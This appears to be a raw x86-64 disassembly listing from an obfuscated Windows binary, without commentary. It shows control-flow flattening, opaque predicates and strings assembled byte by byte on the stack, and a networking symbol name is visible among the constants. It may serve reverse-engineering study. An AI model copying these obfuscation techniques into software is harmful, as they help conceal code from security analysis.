mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b8c40
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x61
mov edx, 0xeae3817
jmp 0x1800b8c10
mov dword [rsp + 0x48], 0x69
mov dword [rsp + 0x40], edx
mov ecx, dword [rsp + 0x48]
add ecx, dword [rsp + 0x40]
mov word [r8 + 2], cx
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ebp, dword [0x1801298ac]
mov edi, 0xd2fca98e
mov eax, 0xebe17d3
cmove edi, eax
cmp ebp, 0xa
setl byte [rsp + 0x58]
cmovl edi, eax
mov ecx, 0x4e6cc85c
nop dword [rax]
cmp ecx, 0x1fbde8f1
jg 0x1800b8cf0
cmp ecx, 0xd2fca98e
je 0x1800b8d25
cmp ecx, 0xebe17d3
je 0x1800b8d2c
cmp ecx, 0x18f93051
jne 0x1800b8cc0
jmp 0x1800b9ebd
cmp ecx, 0x1fbde8f2
je 0x1800b8d33
cmp ecx, 0x5f0dfb2f
je 0x1800b8d37
cmp ecx, 0x4e6cc85c
jne 0x1800b8cc0
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne ecx, esi
test al, al
cmovne ecx, esi
jmp 0x1800b8cc0
mov ecx, 0x1fbde8f2
jmp 0x1800b8cc0
mov ecx, 0x5f0dfb2f
jmp 0x1800b8cc0
mov ecx, edi
jmp 0x1800b8cc0
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b8d52
cmp ecx, 0x3e50374a
jne 0x1800b8d40
jmp 0x1800b8d59
mov ecx, 0x3e50374a
jmp 0x1800b8d40
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebx, ax
mov ecx, 0x18f93051
jmp 0x1800b8cc0
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 5], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xeae3817
je 0x1800b9fa2
cmp edx, 0xdfbe209
jne 0x1800b8d90
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b8ddb
cmp edx, 0x698c8bdd
jne 0x1800b8dc0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b8dc0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x61
mov edx, 0xeae3817
jmp 0x1800b8d90
mov dword [rsp + 0x40], 0x61
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 6], dx
mov edx, 0x66a53b08
nop
cmp edx, 0x45c64127
je 0x1800ba01d
cmp edx, 0x66a53b08
jne 0x1800b8e10
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800b8e42
cmp ecx, 0x9dbef50
jne 0x1800b8e30
jmp 0x1800b8e49
mov ecx, 0x9dbef50
jmp 0x1800b8e30
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b8e10
mov dword [rsp + 0x70], 0x3a
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x2a4], dx
lea rax, [rsp + 0x2a6]
mov qword [rsp + 0x48], rax
sete byte [rsp + 0x60]
cmp edi, 0xa
setl byte [rsp + 0x58]
mov eax, 0xe371ccc2
nop dword [rax]
cmp eax, 0x117a5aa1
jle 0x1800b8ef0
cmp eax, 0x117a5aa2
je 0x1800b8f09
cmp eax, 0x352435fc
je 0x1800b8f10
cmp eax, 0x36430429
jne 0x1800b8ec0
jmp 0x1800ba0a9
cmp eax, 0xc93ff860
je 0x1800b8f37
cmp eax, 0xe371ccc2
je 0x1800b8f3e
cmp eax, 0x369743b
jne 0x1800b8ec0
mov eax, ebx
jmp 0x1800b8ec0
mov eax, 0x369743b
jmp 0x1800b8ec0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b8f30
cmp eax, 0xe0743747
jne 0x1800b8f20
jmp 0x1800b8f5e
mov eax, 0xe0743747
jmp 0x1800b8f20
mov eax, 0x352435fc
jmp 0x1800b8ec0
mov dl, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov eax, 0x117a5aa2
mov ebp, 0x369743b
cmovne eax, ebp
test dl, dl
cmovne eax, ebp
jmp 0x1800b8ec0
mov dword [rsp + 0x70], 6
mov ecx, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b8ec0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0xc], cx
mov word [rax + 0xe], 0
mov eax, 0x149762a8
jmp 0x1800b0630
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov ecx, dword [rsp + 0x70]
add cl, al
mov byte [rsp + 0x16e], cl
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x40], rax
mov eax, 0x3f9f9caa
nop
cmp eax, 0xf37af8c0
jle 0x1800b90e0
cmp eax, 0xf37af8c1
je 0x1800b90fb
cmp eax, 0x4d72419b
je 0x1800b91f8
cmp eax, 0x3f9f9caa
jne 0x1800b8fc0
mov dword [rsp + 0x58], 0x53
mov eax, dword [0x1801298e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801298ec], 0xa
setl cl
or cl, al
mov ebp, 0xc47262e3
mov eax, 0x5225b5c7
cmovne ebp, eax
mov ecx, 0xc47262e3
mov eax, 0x3c788574
cmovne ecx, eax
mov edx, 0x1de76d63
nop dword [rax]
cmp edx, 0xa132f20c
je 0x1800b9216
cmp edx, 0x1de76d63
jne 0x1800b9030
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b9080
cmp eax, 0x5225b5c7
je 0x1800b90c6
cmp eax, 0x3c788574
je 0x1800b9092
cmp eax, 0x150df70d
jne 0x1800b9050
mov dword [rsp + 0x48], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b9050
cmp eax, 0xc47262e3
je 0x1800b90b7
cmp eax, 0xcdaf8623
jne 0x1800b9050
mov eax, ecx
jmp 0x1800b9050
movsxd rdx, dword [rsp + 0x48]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b9050
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, 0x3c788574
jmp 0x1800b9050
mov byte [rsp + 0x60], dl
mov al, byte [rsp + 0x60]
mov edx, 0xa132f20c
jmp 0x1800b9030
cmp eax, 0x9c33b5c1
je 0x1800b932b
cmp eax, 0xeb2af041
jne 0x1800b8fc0
jmp 0x1800ba322
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov dword [rsp + 0x58], eax
mov eax, dword [0x1801298e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801298ec], 0xa
setl cl
or cl, al
mov ebp, 0xc47262e3
mov eax, 0x5225b5c7
cmovne ebp, eax
mov ecx, 0xc47262e3
mov eax, 0x3c788574
cmovne ecx, eax
mov edx, 0x1de76d63
nop word [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b9428
cmp edx, 0x1de76d63
jne 0x1800b9150
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b91a0
cmp eax, 0x5225b5c7
je 0x1800b91e6
cmp eax, 0x3c788574
je 0x1800b91b2
cmp eax, 0x150df70d
jne 0x1800b9170
mov dword [rsp + 0x48], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b9170
cmp eax, 0xc47262e3
je 0x1800b91d7
cmp eax, 0xcdaf8623
jne 0x1800b9170
mov eax, ecx
jmp 0x1800b9170
movsxd rdx, dword [rsp + 0x48]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b9170
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, 0x3c788574
jmp 0x1800b9170
mov byte [rsp + 0x60], dl
mov al, byte [rsp + 0x60]
mov edx, 0xa132f20c
jmp 0x1800b9150
mov eax, dword [0x180129790]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9c33b5c1
mov ecx, 0xf37af8c1
jmp 0x1800b9789
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
mov ecx, dword [rsp + 0x58]
add cl, al
mov rax, qword [rsp + 0x40]
mov byte [rax], cl
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x58], 0x65
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
nop word cs:[rax + rax]
nop
cmp ebp, 0xa132f20c
je 0x1800b953b
cmp ebp, 0x1de76d63
jne 0x1800b9280
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b92d0
cmp ecx, 0x5225b5c7
je 0x1800b9318
cmp ecx, 0x3c788574
je 0x1800b92e4
cmp ecx, 0x150df70d
jne 0x1800b92a0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b92a0
cmp ecx, 0xc47262e3
je 0x1800b9309
cmp ecx, 0xcdaf8623
jne 0x1800b92a0
mov ecx, edx
jmp 0x1800b92a0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b92a0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b92a0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9280
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov dword [rsp + 0x58], eax
mov eax, dword [0x1801298e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801298ec], 0xa
setl cl
or cl, al
mov ebp, 0xc47262e3
mov eax, 0x5225b5c7
cmovne ebp, eax
mov ecx, 0xc47262e3
mov eax, 0x3c788574
cmovne ecx, eax
mov edx, 0x1de76d63
nop word [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b964b
cmp edx, 0x1de76d63
jne 0x1800b9380
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b93d0
cmp eax, 0x5225b5c7
je 0x1800b9416
cmp eax, 0x3c788574
je 0x1800b93e2
cmp eax, 0x150df70d
jne 0x1800b93a0
mov dword [rsp + 0x48], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b93a0
cmp eax, 0xc47262e3
je 0x1800b9407
cmp eax, 0xcdaf8623
jne 0x1800b93a0
mov eax, ecx
jmp 0x1800b93a0
movsxd rdx, dword [rsp + 0x48]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b93a0
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, 0x3c788574
jmp 0x1800b93a0
mov byte [rsp + 0x60], dl
mov al, byte [rsp + 0x60]
mov edx, 0xa132f20c
jmp 0x1800b9380
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
mov ecx, dword [rsp + 0x58]
add cl, al
mov rax, qword [rsp + 0x70]
mov byte [rax], cl
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x58], 0x74
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
nop word [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b975b
cmp ebp, 0x1de76d63
jne 0x1800b9490
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b94e0
cmp ecx, 0x5225b5c7
je 0x1800b9528
cmp ecx, 0x3c788574
je 0x1800b94f4
cmp ecx, 0x150df70d
jne 0x1800b94b0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b94b0
cmp ecx, 0xc47262e3
je 0x1800b9519
cmp ecx, 0xcdaf8623
jne 0x1800b94b0
mov ecx, edx
jmp 0x1800b94b0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b94b0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b94b0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9490
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 1], dl
mov dword [rsp + 0x58], WSAStartup
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b979b
cmp ebp, 0x1de76d63
jne 0x1800b95a0
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b95f0
cmp ecx, 0x5225b5c7
je 0x1800b9638
cmp ecx, 0x3c788574
je 0x1800b9604
cmp ecx, 0x150df70d
jne 0x1800b95c0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b95c0
cmp ecx, 0xc47262e3
je 0x1800b9629
cmp ecx, 0xcdaf8623
jne 0x1800b95c0
mov ecx, edx
jmp 0x1800b95c0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b95c0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b95c0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b95a0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
mov ecx, dword [rsp + 0x58]
add cl, al
mov rax, qword [rsp + 0x70]
mov byte [rax], cl
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x58], 0x74
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
nop word [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b98ab
cmp ebp, 0x1de76d63
jne 0x1800b96b0
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9700
cmp ecx, 0x5225b5c7
je 0x1800b9748
cmp ecx, 0x3c788574
je 0x1800b9714
cmp ecx, 0x150df70d
jne 0x1800b96d0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b96d0
cmp ecx, 0xc47262e3
je 0x1800b9739
cmp ecx, 0xcdaf8623
jne 0x1800b96d0
mov ecx, edx
jmp 0x1800b96d0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b96d0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b96d0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b96b0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 1], dl
mov byte [rax + 2], 0
mov eax, dword [0x180129790]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9c33b5c1
mov ecx, 0xeb2af041
cmove eax, ecx
cmp dword [0x180129794], 0xa
cmovl eax, ecx
jmp 0x1800b8fc0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 2], dl
mov dword [rsp + 0x58], 0x64
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b98ca
cmp ebp, 0x1de76d63
jne 0x1800b9800
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9850
cmp ecx, 0x5225b5c7
je 0x1800b9898
cmp ecx, 0x3c788574
je 0x1800b9864
cmp ecx, 0x150df70d
jne 0x1800b9820
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9820
cmp ecx, 0xc47262e3
je 0x1800b9889
cmp ecx, 0xcdaf8623
jne 0x1800b9820
mov ecx, edx
jmp 0x1800b9820
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9820
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9820
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9800
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 1], dl
mov byte [rax + 2], 0
mov eax, 0xf37af8c1
jmp 0x1800b8fc0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 3], dl
mov dword [rsp + 0x58], 0x52
mov ecx, dword [0x1801298e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801298ec], 0xa
setl dl
or dl, cl
mov ebx, 0xc47262e3
mov ecx, 0x5225b5c7
cmovne ebx, ecx
mov edx, 0xc47262e3
mov ecx, 0x3c788574
cmovne edx, ecx
mov ebp, 0x1de76d63
cmp ebp, 0xa132f20c
je 0x1800b99cb
cmp ebp, 0x1de76d63
jne 0x1800b9920
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9970
cmp ecx, 0x5225b5c7
je 0x1800b99b8
cmp ecx, 0x3c788574
je 0x1800b9984
cmp ecx, 0x150df70d
jne 0x1800b9940
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9940
cmp ecx, 0xc47262e3
je 0x1800b99a9
cmp ecx, 0xcdaf8623
jne 0x1800b9940
mov ecx, edx
jmp 0x1800b9940
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9940
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9940
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9920
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov ebp, dword [rsp + 0x58]
add bpl, cl
mov byte [rax + 4], bpl
mov dword [rsp + 0x58], 0x65
mov ebp, 0x1de76d63
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b9a9b
cmp ebp, 0x1de76d63
jne 0x1800b99f0
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9a40
cmp ecx, 0x5225b5c7
je 0x1800b9a88
cmp ecx, 0x3c788574
je 0x1800b9a54
cmp ecx, 0x150df70d
jne 0x1800b9a10
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9a10
cmp ecx, 0xc47262e3
je 0x1800b9a79
cmp ecx, 0xcdaf8623
jne 0x1800b9a10
mov ecx, edx
jmp 0x1800b9a10
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9a10
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9a10
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b99f0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov ebp, dword [rsp + 0x58]
add bpl, cl
mov byte [rax + 5], bpl
mov dword [rsp + 0x58], WSAStartup
mov ebp, 0x1de76d63
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b9b6b
cmp ebp, 0x1de76d63
jne 0x1800b9ac0
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9b10
cmp ecx, 0x5225b5c7
je 0x1800b9b58
cmp ecx, 0x3c788574
je 0x1800b9b24
cmp ecx, 0x150df70d
jne 0x1800b9ae0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9ae0
cmp ecx, 0xc47262e3
je 0x1800b9b49
cmp ecx, 0xcdaf8623
jne 0x1800b9ae0
mov ecx, edx
jmp 0x1800b9ae0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9ae0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9ae0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9ac0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov ebp, dword [rsp + 0x58]
add bpl, cl
mov byte [rax + 6], bpl
mov dword [rsp + 0x58], 0x75
mov ebp, 0x1de76d63
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b9c3b
cmp ebp, 0x1de76d63
jne 0x1800b9b90
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9be0
cmp ecx, 0x5225b5c7
je 0x1800b9c28
cmp ecx, 0x3c788574
je 0x1800b9bf4
cmp ecx, 0x150df70d
jne 0x1800b9bb0
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9bb0
cmp ecx, 0xc47262e3
je 0x1800b9c19
cmp ecx, 0xcdaf8623
jne 0x1800b9bb0
mov ecx, edx
jmp 0x1800b9bb0
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9bb0
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9bb0
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9b90
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov ebp, dword [rsp + 0x58]
add bpl, cl
mov byte [rax + 7], bpl
mov dword [rsp + 0x58], 0x65
mov ebp, 0x1de76d63
nop dword [rax + rax]
cmp ebp, 0xa132f20c
je 0x1800b9d0b
cmp ebp, 0x1de76d63
jne 0x1800b9c60
mov ecx, 0x150df70d
nop dword [rax]
cmp ecx, 0x150df70c
jle 0x1800b9cb0
cmp ecx, 0x5225b5c7
je 0x1800b9cf8
cmp ecx, 0x3c788574
je 0x1800b9cc4
cmp ecx, 0x150df70d
jne 0x1800b9c80
mov dword [rsp + 0x48], 0x56
mov ecx, 0xcdaf8623
jmp 0x1800b9c80
cmp ecx, 0xc47262e3
je 0x1800b9ce9
cmp ecx, 0xcdaf8623
jne 0x1800b9c80
mov ecx, edx
jmp 0x1800b9c80
movsxd rbp, dword [rsp + 0x48]
imul rcx, rbp, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
shr rcx, 0x22
add ecx, edi
lea edi, [rcx + rcx*2]
lea ecx, [rcx + rdi*4]
sub ebp, ecx
mov ecx, ebx
jmp 0x1800b9c80
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, 0x3c788574
jmp 0x1800b9c80
mov byte [rsp + 0x60], bpl
mov cl, byte [rsp + 0x60]
mov ebp, 0xa132f20c
jmp 0x1800b9c60
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
mov edx, dword [rsp + 0x58]
add dl, cl
mov byte [rax + 8], dl
add rax, 9
mov qword [rsp + 0x70], rax
lea rax, [0x18011f910]
mov qword [rsp + 0x298], rax
mov eax, 0x4d72419b
jmp 0x1800b8fc0
mov dword [rsp + 0x48], 0x69
mov dword [rsp + 0x40], edx
mov ecx, dword [rsp + 0x48]
add ecx, dword [rsp + 0x40]
mov word [r8 + 2], cx
mov ecx, dword [0x1801298a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rsp + 0x60]
mov ebp, dword [0x1801298ac]
mov edi, 0xd2fca98e
mov eax, 0xebe17d3
cmove edi, eax
cmp ebp, 0xa
setl byte [rsp + 0x58]
cmovl edi, eax
mov ecx, 0x4e6cc85c
nop
cmp ecx, 0x1fbde8f1
jg 0x1800b9dc0
cmp ecx, 0xd2fca98e
je 0x1800b9df5
cmp ecx, 0xebe17d3
je 0x1800b9dfc
cmp ecx, 0x18f93051
jne 0x1800b9d90
jmp 0x1800ba8af
cmp ecx, 0x1fbde8f2
je 0x1800b9e03
cmp ecx, 0x5f0dfb2f
je 0x1800b9e07
cmp ecx, 0x4e6cc85c
jne 0x1800b9d90
mov al, byte [rsp + 0x60]
cmp byte [rsp + 0x58], 0
mov ecx, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne ecx, esi
test al, al
cmovne ecx, esi
jmp 0x1800b9d90
mov ecx, 0x1fbde8f2
jmp 0x1800b9d90
mov ecx, 0x5f0dfb2f
jmp 0x1800b9d90
mov ecx, edi
jmp 0x1800b9d90
mov ecx, 0x35207f2b
nop dword [rax]
cmp ecx, 0x35207f2b
je 0x1800b9e22
cmp ecx, 0x3e50374a
jne 0x1800b9e10
jmp 0x1800b9e29
mov ecx, 0x3e50374a
jmp 0x1800b9e10
mov dword [rsp + 0x40], 3
mov eax, dword [rsp + 0x40]
movzx ebx, ax
